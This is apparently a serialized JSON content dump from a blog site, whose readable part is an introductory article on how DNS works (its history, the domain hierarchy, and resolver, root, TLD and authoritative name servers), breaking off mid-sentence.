},[94,14802,3615],{"class":100},[94,14804,3618],{"class":753},[94,14806,1289],{"class":100},[94,14808,14809,14811,14813,14815],{"class":96,"line":188},[94,14810,7393],{"class":100},[94,14812,7446],{"class":146},[94,14814,7449],{"class":100},[94,14816,7452],{"class":790},[94,14818,14819],{"class":96,"line":203},[94,14820,4639],{"class":100},[11,14822,7459,14823,7462,14825,7465],{},[34,14824,7356],{},[34,14826,7346],{},[23,14828,7469,14829,70,14831,229],{"id":7468},[34,14830,7213],{},[34,14832,7474],{},[11,14834,14835,7479,14837,7483],{},[34,14836,7474],{},[34,14838,7482],{},[11,14840,14841,7488,14843,7492,14845,346,14847,7498,14849,360],{},[34,14842,7213],{},[34,14844,7491],{},[34,14846,7495],{},[34,14848,7209],{},[34,14850,7501],{},[85,14852,14853],{"className":744,"code":7504,"language":746,"meta":90,"style":90},[34,14854,14855,14877,14901,14905,14929],{"__ignoreMap":90},[94,14856,14857,14859,14861,14863,14865,14867,14869,14871,14873,14875],{"class":96,"line":97},[94,14858,7511],{"class":100},[94,14860,7474],{"class":146},[94,14862,761],{"class":753},[94,14864,3660],{"class":100},[94,14866,3618],{"class":753},[94,14868,3665],{"class":100},[94,14870,784],{"class":146},[94,14872,770],{"class":100},[94,14874,7528],{"class":153},[94,14876,776],{"class":100},[94,14878,14879,14881,14883,14885,14887,14889,14891,14893,14895,14897,14899],{"class":96,"line":111},[94,14880,7511],{"class":100},[94,14882,7474],{"class":146},[94,14884,761],{"class":753},[94,14886,3660],{"class":100},[94,14888,3618],{"class":753},[94,14890,3665],{"class":100},[94,14892,784],{"class":146},[94,14894,770],{"class":100},[94,14896,7551],{"class":153},[94,14898,7554],{"class":100},[94,14900,7557],{"class":790},[94,14902,14903],{"class":96,"line":122},[94,14904,289],{"emptyLinePlaceholder":288},[94,14906,14907,14909,14911,14913,14915,14917,14919,14921,14923,14925,14927],{"class":96,"line":138},[94,14908,7511],{"class":100},[94,14910,7213],{"class":146},[94,14912,770],{"class":100},[94,14914,7251],{"class":153},[94,14916,7574],{"class":100},[94,14918,3618],{"class":753},[94,14920,3665],{"class":100},[94,14922,784],{"class":146},[94,14924,770],{"class":100},[94,14926,7528],{"class":153},[94,14928,4474],{"class":100},[94,14930,14931,14933,14935,14937,14939,14941,14943,14945,14947,14949,14951,14953],{"class":96,"line":164},[94,14932,7511],{"class":100},[94,14934,7213],{"class":146},[94,14936,770],{"class":100},[94,14938,7251],{"class":153},[94,14940,7574],{"class":100},[94,14942,3618],{"class":753},[94,14944,3665],{"class":100},[94,14946,784],{"class":146},[94,14948,770],{"class":100},[94,14950,7551],{"class":153},[94,14952,7611],{"class":100},[94,14954,7614],{"class":790},[11,14956,14957,7619,14959,7622],{},[34,14958,7213],{},[34,14960,7474],{},[23,14962,7626,14963,346,14965,7633],{"id":7625},[34,14964,7629],{},[34,14966,7632],{},[11,14968,7636],{},[497,14970,14971,14983],{},[500,14972,14973],{},[503,14974,14975,14977,14979,14981],{},[506,14976,2714],{},[506,14978,7629],{},[506,14980,7632],{},[506,14982,7651],{},[519,14984,14985,14995,15005,15015,15027],{},[503,14986,14987,14989,14991,14993],{},[524,14988,7658],{},[524,14990,7661],{},[524,14992,7661],{},[524,14994,7666],{},[503,14996,14997,14999,15001,15003],{},[524,14998,7671],{},[524,15000,7674],{},[524,15002,7677],{},[524,15004,7680],{},[503,15006,15007,15009,15011,15013],{},[524,15008,7685],{},[524,15010,550],{},[524,15012,550],{},[524,15014,7692],{},[503,15016,15017,15019,15021,15023],{},[524,15018,7697],{},[524,15020,535],{},[524,15022,535],{},[524,15024,7704,15025],{},[34,15026,7707],{},[503,15028,15029,15031,15033,15035],{},[524,15030,7712],{},[524,15032,535],{},[524,15034,7717],{},[524,15036,7720],{},[11,15038,15039],{},[426,15040],{"alt":7725,"src":7726},[11,15042,7729,15043,7732,15045,7735,15047,70,15049,7741,15051,7744],{},[34,15044,7629],{},[34,15046,7632],{},[34,15048,7707],{},[34,15050,7740],{},[34,15052,7629],{},[23,15054,7748],{"id":7747},[11,15056,7751,15057,7754],{},[34,15058,7629],{},[11,15060,7757,15061,216,15063,7764],{},[34,15062,7760],{},[34,15064,7763],{},[23,15066,7768],{"id":7767},[11,15068,7771],{},[11,15070,15071],{},[426,15072],{"alt":7776,"src":7777},[11,15074,7780],{},[1940,15076,15077,15081,15085,15091,15095,15099],{},[486,15078,15079,7788],{},[1183,15080,7787],{},[486,15082,15083,7794],{},[1183,15084,7793],{},[486,15086,15087,7800,15089,7804],{},[1183,15088,7799],{},[1183,15090,7803],{},[486,15092,15093,7810],{},[1183,15094,7809],{},[486,15096,15097,7816],{},[1183,15098,7815],{},[486,15100,15101,7822],{},[1183,15102,7821],{},[11,15104,7825],{},[23,15106,7829],{"id":7828},[11,15108,7832],{},[11,15110,15111,7838],{},[1183,15112,7837],{},[11,15114,15115,7844],{},[1183,15116,7843],{},[11,15118,7847,15119,7851,15121,70,15123,7856],{},[1183,15120,7850],{},[34,15122,2427],{},[34,15124,2434],{},[23,15126,7860],{"id":7859},[11,15128,7863],{},[11,15130,7866,15131,7870],{},[34,15132,7869],{},[23,15134,7874,15135,5607,15137,7881],{"id":7873},[34,15136,7877],{},[34,15138,7880],{},[11,15140,7884],{},[11,15142,15143,7889,15145,7892,15147,7896],{},[34,15144,7880],{},[34,15146,7877],{},[34,15148,7895],{},[11,15150,1748,15151,7902],{},[1183,15152,7901],{},[11,15154,7905,15155,7908,15157,7912,15159,7916],{},[34,15156,7880],{},[1183,15158,7911],{},[1183,15160,7915],{},[23,15162,7920],{"id":7919},[11,15164,15165,7926],{},[1183,15166,7925],{},[11,15168,15169,7932],{},[1183,15170,7931],{},[85,15172,15173],{"className":744,"code":7935,"language":746,"meta":90,"style":90},[34,15174,15175,15179,15193,15201,15205,15209,15219,15237,15255],{"__ignoreMap":90},[94,15176,15177],{"class":96,"line":97},[94,15178,7942],{"class":790},[94,15180,15181,15183,15185,15187,15189,15191],{"class":96,"line":111},[94,15182,754],{"class":753},[94,15184,7949],{"class":757},[94,15186,761],{"class":753},[94,15188,5936],{"class":757},[94,15190,5933],{"class":753},[94,15192,2905],{"class":757},[94,15194,15195,15197,15199],{"class":96,"line":122},[94,15196,781],{"class":100},[94,15198,784],{"class":146},[94,15200,7966],{"class":100},[94,15202,15203],{"class":96,"line":138},[94,15204,289],{"emptyLinePlaceholder":288},[94,15206,15207],{"class":96,"line":164},[94,15208,7975],{"class":790},[94,15210,15211,15213,15215,15217],{"class":96,"line":174},[94,15212,4700],{"class":146},[94,15214,770],{"class":100},[94,15216,7984],{"class":153},[94,15218,776],{"class":100},[94,15220,15221,15223,15225,15227,15229,15231,15233,15235],{"class":96,"line":188},[94,15222,7991],{"class":100},[94,15224,4459],{"class":146},[94,15226,770],{"class":100},[94,15228,7998],{"class":2039},[94,15230,3641],{"class":753},[94,15232,4818],{"class":100},[94,15234,4821],{"class":146},[94,15236,8007],{"class":100},[94,15238,15239,15241,15243,15245,15247,15249,15251,15253],{"class":96,"line":203},[94,15240,7991],{"class":100},[94,15242,4459],{"class":146},[94,15244,770],{"class":100},[94,15246,8018],{"class":2039},[94,15248,3641],{"class":753},[94,15250,3665],{"class":100},[94,15252,784],{"class":146},[94,15254,8027],{"class":100},[94,15256,15257,15259,15261,15263,15265],{"class":96,"line":1695},[94,15258,781],{"class":100},[94,15260,784],{"class":146},[94,15262,770],{"class":100},[94,15264,8038],{"class":153},[94,15266,776],{"class":100},[11,15268,8043],{},[23,15270,8047,15271,346,15273,463,15275,229],{"id":8046},[34,15272,8050],{},[34,15274,8053],{},[34,15276,8056],{},[11,15278,8059],{},[483,15280,15281,15291,15299],{},[486,15282,15283,8066,15285,346,15287,463,15289,360],{},[34,15284,8050],{},[34,15286,4318],{},[34,15288,8071],{},[34,15290,7629],{},[486,15292,15293,8078,15295,346,15297,401],{},[34,15294,8053],{},[34,15296,7019],{},[34,15298,8083],{},[486,15300,15301,8088,15303,346,15305,346,15307,463,15309,8101],{},[34,15302,8056],{},[34,15304,8091],{},[34,15306,8094],{},[34,15308,8097],{},[34,15310,8100],{},[11,15312,8104,15313,8108,15315,8112,15317,360],{},[1183,15314,8107],{},[1183,15316,8111],{},[1183,15318,8115],{},[18,15320,8119],{"id":8118},[23,15322,8123],{"id":8122},[11,15324,8126],{},[11,15326,8129],{},[85,15328,15329],{"className":87,"code":8132,"language":89,"meta":90,"style":90},[34,15330,15331,15369],{"__ignoreMap":90},[94,15332,15333,15335,15337,15339,15341,15343,15345,15347,15349,15351,15353,15355,15357,15359,15361,15363,15365,15367],{"class":96,"line":97},[94,15334,101],{"class":100},[94,15336,426],{"class":104},[94,15338,429],{"class":146},[94,15340,150],{"class":100},[94,15342,8147],{"class":153},[94,15344,8150],{"class":146},[94,15346,150],{"class":100},[94,15348,8155],{"class":153},[94,15350,437],{"class":146},[94,15352,150],{"class":100},[94,15354,8162],{"class":153},[94,15356,8165],{"class":146},[94,15358,150],{"class":100},[94,15360,8170],{"class":153},[94,15362,8173],{"class":146},[94,15364,150],{"class":100},[94,15366,8178],{"class":153},[94,15368,445],{"class":100},[94,15370,15371,15373,15375,15377,15379,15381,15383,15385,15387,15389,15391],{"class":96,"line":111},[94,15372,101],{"class":100},[94,15374,8187],{"class":104},[94,15376,429],{"class":146},[94,15378,150],{"class":100},[94,15380,8162],{"class":153},[94,15382,8150],{"class":146},[94,15384,150],{"class":100},[94,15386,8155],{"class":153},[94,15388,8202],{"class":100},[94,15390,8187],{"class":104},[94,15392,108],{"class":100},[11,15394,8209,15395,8213],{},[34,15396,8212],{},[23,15398,8217],{"id":8216},[11,15400,8220],{},[11,15402,8223,15403,8226],{},[34,15404,8212],{},[11,15406,8229],{},[23,15408,8233],{"id":8232},[11,15410,8236],{},[11,15412,8239,15413,3497,15415,8246,15417,8250,15419,8254,15421,8258],{},[34,15414,8242],{},[34,15416,8245],{},[34,15418,8249],{},[34,15420,8253],{},[34,15422,8257],{},[11,15424,8261],{},[23,15426,8265],{"id":8264},[11,15428,8268],{},[483,15430,15431,15435,15439],{},[486,15432,15433,8276],{},[1183,15434,8275],{},[486,15436,15437,8282],{},[1183,15438,8281],{},[486,15440,15441,8288],{},[1183,15442,8287],{},[11,15444,8291],{},[23,15446,8295],{"id":8294},[11,15448,8298],{},[483,15450,15451,15455,15459],{},[486,15452,15453,8306],{},[1183,15454,8305],{},[486,15456,15457,8312],{},[1183,15458,8311],{},[486,15460,15461,8318],{},[1183,15462,8317],{},[11,15464,8321],{},[23,15466,8325],{"id":8324},[11,15468,8328],{},[483,15470,15471,15475,15479],{},[486,15472,15473,8336],{},[1183,15474,8335],{},[486,15476,15477,8342],{},[1183,15478,8341],{},[486,15480,15481,8348],{},[1183,15482,8347],{},[11,15484,8351],{},[23,15486,8355],{"id":8354},[11,15488,8358],{},[11,15490,15491,8364],{},[1183,15492,8363],{},[11,15494,15495,8370,15497,8374],{},[1183,15496,8369],{},[1183,15498,8373],{},[11,15500,15501,8380],{},[1183,15502,8379],{},[11,15504,8383],{},[23,15506,8387],{"id":8386},[11,15508,8390],{},[11,15510,8393],{},[11,15512,8396],{},[23,15514,8400,15515,346,15517,8405],{"id":8399},[34,15516,480],{},[34,15518,477],{},[11,15520,8408],{},[483,15522,15523,15527,15531],{},[486,15524,15525,8415],{},[34,15526,480],{},[486,15528,15529,8420],{},[34,15530,477],{},[486,15532,15533,8426],{},[34,15534,8425],{},[11,15536,8429],{},[23,15538,8433],{"id":8432},[11,15540,8436],{},[483,15542,15543,15547,15555,15561,15569,15577],{},[486,15544,15545,8444],{},[1183,15546,8443],{},[486,15548,15549,8450,15551,70,15553,8457],{},[1183,15550,8449],{},[34,15552,8453],{},[34,15554,8456],{},[486,15556,15557,8466],{},[1183,15558,8462,15559],{},[34,15560,8465],{},[486,15562,15563,8477],{},[1183,15564,8471,15565,70,15567,8476],{},[34,15566,1210],{},[34,15568,1245],{},[486,15570,15571,8483,15573,346,15575,8490],{},[1183,15572,8482],{},[34,15574,8486],{},[34,15576,8489],{},[486,15578,15579,8496],{},[1183,15580,8495],{},[11,15582,8499],{},[18,15584,8503],{"id":8502},[23,15586,8507],{"id":8506},[11,15588,8510],{},[11,15590,8513],{},[11,15592,8516],{},[23,15594,8520,15595,70,15597,229],{"id":8519},[34,15596,1043],{},[34,15598,8525],{},[11,15600,8528],{},[11,15602,15603,8533,15605,8537,15607,8540],{},[34,15604,8525],{},[1183,15606,8536],{},[34,15608,1395],{},[11,15610,15611,8546,15613,8550],{},[34,15612,8545],{},[1183,15614,8549],{},[85,15616,15617],{"className":87,"code":8553,"language":89,"meta":90,"style":90},[34,15618,15619,15627,15645],{"__ignoreMap":90},[94,15620,15621,15623,15625],{"class":96,"line":97},[94,15622,101],{"class":100},[94,15624,718],{"class":104},[94,15626,108],{"class":100},[94,15628,15629,15631,15633,15635,15637,15639,15641,15643],{"class":96,"line":111},[94,15630,114],{"class":100},[94,15632,8570],{"class":104},[94,15634,8573],{"class":146},[94,15636,150],{"class":100},[94,15638,8578],{"class":153},[94,15640,8581],{"class":100},[94,15642,8570],{"class":104},[94,15644,8586],{"class":100},[94,15646,15647,15649,15651],{"class":96,"line":122},[94,15648,206],{"class":100},[94,15650,718],{"class":104},[94,15652,108],{"class":100},[11,15654,8597,15655,8600],{},[34,15656,1043],{},[23,15658,8604],{"id":8603},[11,15660,8607,15661,8611,15663,8615],{},[34,15662,8610],{},[34,15664,8614],{},[11,15666,8618,15667,8622,15669,8625,15671,8628,15673,8632,15675,8636,15677,8640],{},[1183,15668,8621],{},[34,15670,4700],{},[1183,15672,3231],{},[1183,15674,8631],{},[34,15676,8635],{},[34,15678,8639],{},[11,15680,15681],{},[426,15682],{"alt":8645,"src":8646},[11,15684,8649,15685,8653,15687,8657],{},[1183,15686,8652],{},[34,15688,8656],{},[23,15690,8661],{"id":8660},[11,15692,8664],{},[11,15694,8667,15695,8671],{},[34,15696,8670],{},[11,15698,8674,15699,8678,15701,346,15703,346,15705,346,15707,463,15709,8692,15711,8696,15713,8700,15715,8704],{},[1183,15700,8677],{},[34,15702,101],{},[34,15704,8683],{},[34,15706,8686],{},[34,15708,895],{},[34,15710,8691],{},[1183,15712,8695],{},[34,15714,8699],{},[34,15716,8703],{},[23,15718,8708],{"id":8707},[11,15720,8711],{},[11,15722,8714,15723,8718,15725,8722,15727,8726,15729,8729],{},[34,15724,8717],{},[34,15726,8721],{},[34,15728,8725],{},[34,15730,8717],{},[11,15732,8732],{},[483,15734,15735,15739,15749],{},[486,15736,15737,8740],{},[1183,15738,8739],{},[486,15740,15741,8749,15745,216,15747,8756],{},[1183,15742,15743,8748],{},[34,15744,8747],{},[34,15746,8752],{},[34,15748,8755],{},[486,15750,15751,8762],{},[1183,15752,8761],{},[23,15754,8766],{"id":8765},[11,15756,8769,15757,8772],{},[34,15758,985],{},[85,15760,15762],{"className":15761,"code":8777,"language":8778},[8776],[34,15763,8777],{"__ignoreMap":90},[11,15765,8783],{},[11,15767,8786],{},[23,15769,8790],{"id":8789},[11,15771,8793],{},[11,15773,8796],{},[483,15775,15776,15780,15784],{},[486,15777,15778,8804],{},[1183,15779,8803],{},[486,15781,15782,8810],{},[1183,15783,8809],{},[486,15785,15786,8816],{},[1183,15787,8815],{},[11,15789,8819],{},[23,15791,8823],{"id":8822},[11,15793,8826],{},[11,15795,15796,8832,15798,8836],{},[1183,15797,8831],{},[1183,15799,8835],{},[11,15801,15802,8842],{},[1183,15803,8841],{},[11,15805,8845],{},[23,15807,8849],{"id":8848},[11,15809,8852],{},[483,15811,15812,15816,15820,15824],{},[486,15813,15814,8860],{},[1183,15815,8859],{},[486,15817,15818,8866],{},[1183,15819,8865],{},[486,15821,15822,8872],{},[1183,15823,8871],{},[486,15825,15826,8878],{},[1183,15827,8877],{},[11,15829,8881],{},[23,15831,8885],{"id":8884},[11,15833,8888],{},[1940,15835,15836,15844,15848,15852,15856,15864,15868,15872,15876],{},[486,15837,15838,8896,15840,8900,15842,8905],{},[1183,15839,8895],{},[34,15841,8899],{},[3607,15843,8904],{"href":8903},[486,15845,15846,8911],{},[1183,15847,8910],{},[486,15849,15850,8917],{},[1183,15851,8916],{},[486,15853,15854,8923],{},[1183,15855,8922],{},[486,15857,15858,8929,15860,4368,15862,360],{},[1183,15859,8928],{},[34,15861,477],{},[34,15863,480],{},[486,15865,15866,8939],{},[1183,15867,8938],{},[486,15869,15870,8945],{},[1183,15871,8944],{},[486,15873,15874,8950],{},[1183,15875,7809],{},[486,15877,15878,8956],{},[1183,15879,8955],{},[11,15881,8959],{},[18,15883,8963],{"id":8962},[11,15885,8966],{},[11,15887,8969,15888,8972,15890,8975,15892,8978],{},[34,15889,2700],{},[34,15891,2085],{},[34,15893,2427],{},[11,15895,8981],{},[8983,15897,8985],{},{"title":90,"searchDepth":111,"depth":111,"links":15899},[15900,15917,15939,15971,15988,16000,16012],{"id":20,"depth":111,"text":21,"children":15901},[15902,15903,15904,15905,15906,15907,15908,15909,15910,15911,15912,15913,15914,15915,15916],{"id":25,"depth":122,"text":26},{"id":43,"depth":122,"text":44},{"id":223,"depth":122,"text":8993},{"id":363,"depth":122,"text":8995},{"id":404,"depth":122,"text":8997},{"id":455,"depth":122,"text":8999},{"id":575,"depth":122,"text":9001},{"id":674,"depth":122,"text":9003},{"id":694,"depth":122,"text":695},{"id":844,"depth":122,"text":9006},{"id":938,"depth":122,"text":9008},{"id":966,"depth":122,"text":967},{"id":1002,"depth":122,"text":9011},{"id":1032,"depth":122,"text":1033},{"id":1119,"depth":122,"text":9014},{"id":1173,"depth":111,"text":1174,"children":15918},[15919,15920,15921,15922,15923,15924,15925,15926,15927,15928,15929,15930,15931,15932,15933,15934,15935,15936,15937,15938],{"id":1177,"depth":122,"text":1178},{"id":1230,"depth":122,"text":9019},{"id":1313,"depth":122,"text":9021},{"id":1391,"depth":122,"text":9023},{"id":1474,"depth":122,"text":1475},{"id":1508,"depth":122,"text":9026},{"id":1607,"depth":122,"text":1608},{"id":1623,"depth":122,"text":1624},{"id":1741,"depth":122,"text":1742},{"id":1797,"depth":122,"text":9031},{"id":1931,"depth":122,"text":1932},{"id":1971,"depth":122,"text":1972},{"id":2015,"depth":122,"text":2016},{"id":2137,"depth":122,"text":9036},{"id":2211,"depth":122,"text":2212},{"id":2311,"depth":122,"text":2312},{"id":2338,"depth":122,"text":9040},{"id":2393,"depth":122,"text":9042},{"id":2443,"depth":122,"text":2444},{"id":2612,"depth":122,"text":9045},{"id":2690,"depth":111,"text":2691,"children":15940},[15941,15942,15943,15944,15945,15946,15947,15948,15949,15950,15951,15952,15953,15954,15955,15956,15957,15958,15959,15960,15961,15962,15963,15964,15965,15966,15967,15968,15969,15970],{"id":2694,"depth":122,"text":9049},{"id":2805,"depth":122,"text":2806},{"id":2948,"depth":122,"text":2949},{"id":3011,"depth":122,"text":9053},{"id":3126,"depth":122,"text":3127},{"id":3239,"depth":122,"text":9056},{"id":3334,"depth":122,"text":3335},{"id":3478,"depth":122,"text":3479},{"id":3584,"depth":122,"text":3585},{"id":3726,"depth":122,"text":9061},{"id":3950,"depth":122,"text":9063},{"id":4166,"depth":122,"text":4167},{"id":4269,"depth":122,"text":4270},{"id":4293,"depth":122,"text":4294},{"id":4354,"depth":122,"text":4355},{"id":4502,"depth":122,"text":9069},{"id":4555,"depth":122,"text":4556},{"id":4717,"depth":122,"text":9072},{"id":4872,"depth":122,"text":9074},{"id":4993,"depth":122,"text":9076},{"id":5212,"depth":122,"text":5213},{"id":5364,"depth":122,"text":5365},{"id":5594,"depth":122,"text":5595},{"id":5856,"depth":122,"text":5857},{"id":5952,"depth":122,"text":9082},{"id":6094,"depth":122,"text":9084},{"id":6268,"depth":122,"text":9086},{"id":6380,"depth":122,"text":6381},{"id":6602,"depth":122,"text":6603},{"id":6840,"depth":122,"text":9090},{"id":6951,"depth":111,"text":6952,"children":15972},[15973,15974,15975,15976,15977,15978,15979,15980,15981,15982,15983,15984,15985,15986,15987],{"id":6955,"depth":122,"text":6956},{"id":6969,"depth":122,"text":6970},{"id":7015,"depth":122,"text":9096},{"id":7168,"depth":122,"text":7169},{"id":7217,"depth":122,"text":7218},{"id":7331,"depth":122,"text":9100},{"id":7468,"depth":122,"text":9102},{"id":7625,"depth":122,"text":9104},{"id":7747,"depth":122,"text":7748},{"id":7767,"depth":122,"text":7768},{"id":7828,"depth":122,"text":7829},{"id":7859,"depth":122,"text":7860},{"id":7873,"depth":122,"text":9110},{"id":7919,"depth":122,"text":7920},{"id":8046,"depth":122,"text":9113},{"id":8118,"depth":111,"text":8119,"children":15989},[15990,15991,15992,15993,15994,15995,15996,15997,15998,15999],{"id":8122,"depth":122,"text":8123},{"id":8216,"depth":122,"text":8217},{"id":8232,"depth":122,"text":8233},{"id":8264,"depth":122,"text":8265},{"id":8294,"depth":122,"text":8295},{"id":8324,"depth":122,"text":8325},{"id":8354,"depth":122,"text":8355},{"id":8386,"depth":122,"text":8387},{"id":8399,"depth":122,"text":9125},{"id":8432,"depth":122,"text":8433},{"id":8502,"depth":111,"text":8503,"children":16001},[16002,16003,16004,16005,16006,16007,16008,16009,16010,16011],{"id":8506,"depth":122,"text":8507},{"id":8519,"depth":122,"text":9131},{"id":8603,"depth":122,"text":8604},{"id":8660,"depth":122,"text":8661},{"id":8707,"depth":122,"text":8708},{"id":8765,"depth":122,"text":8766},{"id":8789,"depth":122,"text":8790},{"id":8822,"depth":122,"text":8823},{"id":8848,"depth":122,"text":8849},{"id":8884,"depth":122,"text":8885},{"id":8962,"depth":111,"text":8963},{},{"title":5,"description":9142},[9152,9153,9154,9155,9156,9157],{"id":16017,"title":8904,"author":6,"body":16018,"date":18393,"description":18394,"draft":9143,"extension":9144,"guide":9145,"image":18395,"meta":18396,"navigation":288,"path":18397,"seo":18398,"stem":18399,"tags":18400,"__hash__":18405},"blog/Backend/3.dns-explained-how-domain-name-system-works.md",{"type":8,"value":16019,"toc":18331},[16020,16031,16034,16038,16051,16057,16060,16066,16070,16077,16080,16106,16109,16113,16116,16123,16128,16134,16137,16202,16211,16215,16218,16224,16228,16238,16241,16245,16248,16251,16255,16264,16268,16274,16278,16285,16291,16297,16300,16303,16307,16313,16316,16325,16339,16345,16359,16362,16368,16372,16375,16378,16382,16385,16400,16422,16431,16434,16438,16441,16603,16606,16610,16619,16625,16628,16634,16638,16641,16647,16659,16664,16678,16683,16687,16690,16696,16706,16710,16713,16716,16722,16728,16734,16740,16746,16750,16753,16759,16762,16766,16772,16778,16781,16785,16788,16794,16798,16805,16811,16814,16819,16830,16835,16846,16849,16854,16858,16861,16867,16871,16874,16878,16881,16890,16896,16900,16907,16910,17000,17003,17084,17088,17096,17102,17109,17113,17116,17121,17259,17265,17271,17277,17394,17397,17405,17466,17469,17477,17519,17523,17526,17609,17612,17616,17620,17623,17629,17636,17640,17643,17692,17695,17699,17702,17722,17725,17729,17732,17738,17744,17750,17756,17762,17766,17769,17775,17782,17786,17789,17793,17796,17799,17803,17806,17810,17813,17817,17820,17826,17829,17833,17836,17839,17845,17848,17897,17900,17904,17907,17913,17919,17922,17968,17972,17976,17993,17996,18000,18017,18020,18024,18027,18107,18110,18114,18117,18133,18140,18144,18204,18207,18211,18269,18272,18276,18279,18282,18328],[11,16021,16022,16023,16026,16027,16030],{},"You type ",[34,16024,16025],{},"github.com"," into your browser and press Enter. The page loads in under a second. But between that keypress and the first pixel appearing on your screen, something extraordinary happens that most people never think about. A system called ",[1183,16028,16029],{},"DNS"," silently translates that human-readable name into a machine address, traverses a global hierarchy of servers, and returns an answer before you even notice.",[11,16032,16033],{},"This article explains every part of that process, from the very beginning.",[18,16035,16037],{"id":16036},"what-is-dns","What is DNS?",[11,16039,16040,16043,16044,16047,16048,401],{},[1183,16041,16042],{},"DNS stands for Domain Name System."," At its core, it is a global, distributed database that translates domain names (like ",[34,16045,16046],{},"google.com",") into IP addresses (like ",[34,16049,16050],{},"142.250.80.46",[11,16052,16053,16054,16056],{},"Why does this translation need to exist at all? Because computers on the internet communicate using IP addresses, not human-readable names. An IP address is the actual \"location\" of a server on the internet. But remembering ",[34,16055,16050],{}," every time you want to visit Google is not realistic for anyone.",[11,16058,16059],{},"So DNS acts as the internet's address book. You look up a name, and it returns the corresponding address.",[16061,16062,16063],"blockquote",{},[11,16064,16065],{},"Think of DNS like the contacts app on your phone. When you tap \"Mom,\" your phone finds her phone number and dials it. You don't think about the number at all. DNS does the same thing: you type a name, it finds the corresponding IP address, and your browser connects to it.",[18,16067,16069],{"id":16068},"the-problem-dns-was-built-to-solve","The Problem DNS Was Built to Solve",[11,16071,16072,16073,16076],{},"DNS was not always here. In the early days of the internet (ARPANET), there was a single text file called ",[34,16074,16075],{},"HOSTS.TXT"," that listed every computer on the network alongside its address. This file was maintained by hand at the Stanford Research Institute, and every connected computer would periodically download it.",[11,16078,16079],{},"When the network had a few hundred machines, this worked fine. But as the internet grew, the problems became serious:",[483,16081,16082,16088,16094,16100],{},[486,16083,16084,16087],{},[1183,16085,16086],{},"Scale:"," Thousands of new machines were being added constantly. One text file could not keep up.",[486,16089,16090,16093],{},[1183,16091,16092],{},"Inconsistency:"," Different computers downloaded the file at different times, so they had different data.",[486,16095,16096,16099],{},[1183,16097,16098],{},"Single point of failure:"," One file, one server, one catastrophic bottleneck for the entire network.",[486,16101,16102,16105],{},[1183,16103,16104],{},"No organisation:"," All names were flat. There was no concept of ownership or hierarchy.",[11,16107,16108],{},"In 1983, Paul Mockapetris designed DNS to replace this system. Instead of one flat file, DNS is a distributed, hierarchical, fault-tolerant database spanning thousands of servers across the globe.",[18,16110,16112],{"id":16111},"the-domain-name-hierarchy","The Domain Name Hierarchy",[11,16114,16115],{},"Domain names have a tree structure, and you read them from right to left.",[11,16117,16118,16119,16122],{},"Take ",[34,16120,16121],{},"www.github.com."," (the trailing dot is almost always hidden, but it is always there):",[11,16124,16125],{},[426,16126],{"alt":16112,"src":16127},"/post-images/dns-explained-how-domain-name-system-works/domain-name-hierarchy-diagram.png",[85,16129,16132],{"className":16130,"code":16131,"language":8778},[8776],".                       \u003C-- Root (the invisible dot at the very end)\n└── com                 \u003C-- Top-Level Domain (TLD)\n    └── github          \u003C-- Second-Level Domain (SLD)\n        └── www         \u003C-- Subdomain\n",[34,16133,16131],{"__ignoreMap":90},[11,16135,16136],{},"Each level of this hierarchy is owned and managed by a different organisation:",[483,16138,16139,16147,16173,16184],{},[486,16140,16141,16146],{},[1183,16142,16143,16144,2753],{},"The root (",[34,16145,360],{}," is managed by IANA (Internet Assigned Numbers Authority). There are 13 root server clusters, labeled A through M, distributed across hundreds of physical locations worldwide.",[486,16148,16149,16152,16153,346,16156,346,16159,16162,16163,216,16166,16169,16170,16172],{},[1183,16150,16151],{},"Top-Level Domains (TLDs)"," like ",[34,16154,16155],{},".com",[34,16157,16158],{},".org",[34,16160,16161],{},".net",", and country codes like ",[34,16164,16165],{},".uk",[34,16167,16168],{},".in"," are managed by registry operators. Verisign manages ",[34,16171,16155],{},", for example.",[486,16174,16175,16152,16178,8254,16181,16183],{},[1183,16176,16177],{},"Second-level domains",[34,16179,16180],{},"github",[34,16182,16025],{}," are registered by individuals and companies through domain registrars (Namecheap, GoDaddy, Cloudflare Registrar, etc.).",[486,16185,16186,16152,16189,346,16192,346,16195,346,16198,16201],{},[1183,16187,16188],{},"Subdomains",[34,16190,16191],{},"www",[34,16193,16194],{},"api",[34,16196,16197],{},"mail",[34,16199,16200],{},"blog"," are created by the domain owner themselves in their DNS provider's control panel.",[16061,16203,16204],{},[11,16205,16206,16207,16210],{},"That trailing dot in ",[34,16208,16209],{},"github.com."," represents the root of the DNS hierarchy. Your browser adds it automatically before sending a DNS query. It is always there even when invisible.",[18,16212,16214],{"id":16213},"the-four-key-players-in-a-dns-query","The Four Key Players in a DNS Query",[11,16216,16217],{},"Before walking through a full DNS lookup, you need to understand the four main participants.",[11,16219,16220],{},[426,16221],{"alt":16222,"src":16223},"The four key players in DNS resolution","/post-images/dns-explained-how-domain-name-system-works/dns-architecture-diagram.png",[23,16225,16227],{"id":16226},"the-dns-recursor-recursive-resolver","The DNS Recursor (Recursive Resolver)",[11,16229,16230,16231,16234,16235,360],{},"This is the first server your computer contacts when it needs to resolve a domain name. It is usually provided by your ISP, or by a public DNS service like Google's ",[34,16232,16233],{},"8.8.8.8"," or Cloudflare's ",[34,16236,16237],{},"1.1.1.1",[11,16239,16240],{},"The recursive resolver does the heavy lifting on your behalf. It contacts multiple servers, follows referrals, and eventually returns the final answer to your computer. Think of it as a librarian who goes through the entire library to find the book you need, rather than making you search yourself.",[23,16242,16244],{"id":16243},"root-name-servers","Root Name Servers",[11,16246,16247],{},"There are 13 sets of root name servers (A through M). They do not know the IP address for your domain directly, but they know which servers are responsible for each TLD. They're like the index of a library that tells you which floor and section to visit.",[11,16249,16250],{},"The root server addresses are hardcoded into every DNS resolver software. They are the starting point for every uncached query.",[23,16252,16254],{"id":16253},"tld-name-servers","TLD Name Servers",[11,16256,16257,16258,16260,16261,16263],{},"These servers know which authoritative name servers are responsible for specific domains within their TLD. The ",[34,16259,16155],{}," TLD server, for example, knows which name servers are authoritative for ",[34,16262,16025],{}," because GitHub's registrar told it when the domain was registered.",[23,16265,16267],{"id":16266},"authoritative-name-servers","Authoritative Name Servers",[11,16269,16270,16271,16273],{},"This is the server that actually holds the DNS records for a domain. It is the final authority and gives the definitive answer: \"yes, ",[34,16272,16025],{}," is at this IP address.\" When you add DNS records in Cloudflare, Route 53, or any other DNS provider, you are updating the authoritative name server for your domain.",[18,16275,16277],{"id":16276},"how-a-dns-lookup-actually-works","How a DNS Lookup Actually Works",[11,16279,16280,16281,16284],{},"Let's trace exactly what happens when you type 